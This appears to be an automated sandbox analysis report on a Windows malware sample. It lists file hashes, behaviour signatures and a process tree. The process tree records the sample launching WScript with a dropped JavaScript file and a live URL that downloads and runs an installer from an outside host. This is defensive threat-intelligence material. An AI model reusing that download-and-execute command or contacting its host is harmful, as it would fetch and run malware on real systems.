Analysis

  • max time kernel
    91s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 10:37

General

  • Target

    917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    917871ec41fb7242f96d2ea27e25c131

  • SHA1

    3a942af2b8c0f674265e0ac857d3902143968212

  • SHA256

    3d59ae7ff7b643e74998e355f7df1419c03ec3ac451c0591564688e9eeb0e162

  • SHA512

    98599a21876019f48b3d90714f73788ffdfab26f35a1a7e46c5685d9f74000619b92748d732f926efb046b83f8f29acdc61183a787c0d6519f02639f119d3fcb

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3A:/7BSH8zUB+nGESaaRvoB7FJNndn5

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:948
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3681.js" http://www.djapp.info/?domain=asOJNMwiiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3681.exe
      2⤵
      • Blocklisted process makes network request
      PID:4304
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3681.js" http://www.djapp.info/?domain=asOJNMwiiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3681.exe
      2⤵
      • Blocklisted process makes network request
      PID:5068
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3681.js" http://www.djapp.info/?domain=asOJNMwiiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3681.exe
      2⤵
      • Blocklisted process makes network request
      PID:3532
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3681.js" http://www.djapp.info/?domain=asOJNMwiiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3681.exe
      2⤵
      • Blocklisted process makes network request
      PID:1528
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3681.js" http://www.djapp.info/?domain=asOJNMwiiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3681.exe
      2⤵
      • Blocklisted process makes network request
      PID:2688
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 1320
      2⤵
      • Program crash
      PID:1656
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 948 -ip 948
    1⤵
      PID:1728

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\fuf3681.js

      Filesize

      3KB

      MD5

      3813cab188d1de6f92f8b82c2059991b

      SHA1

      4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

      SHA256

      a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

      SHA512

      83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76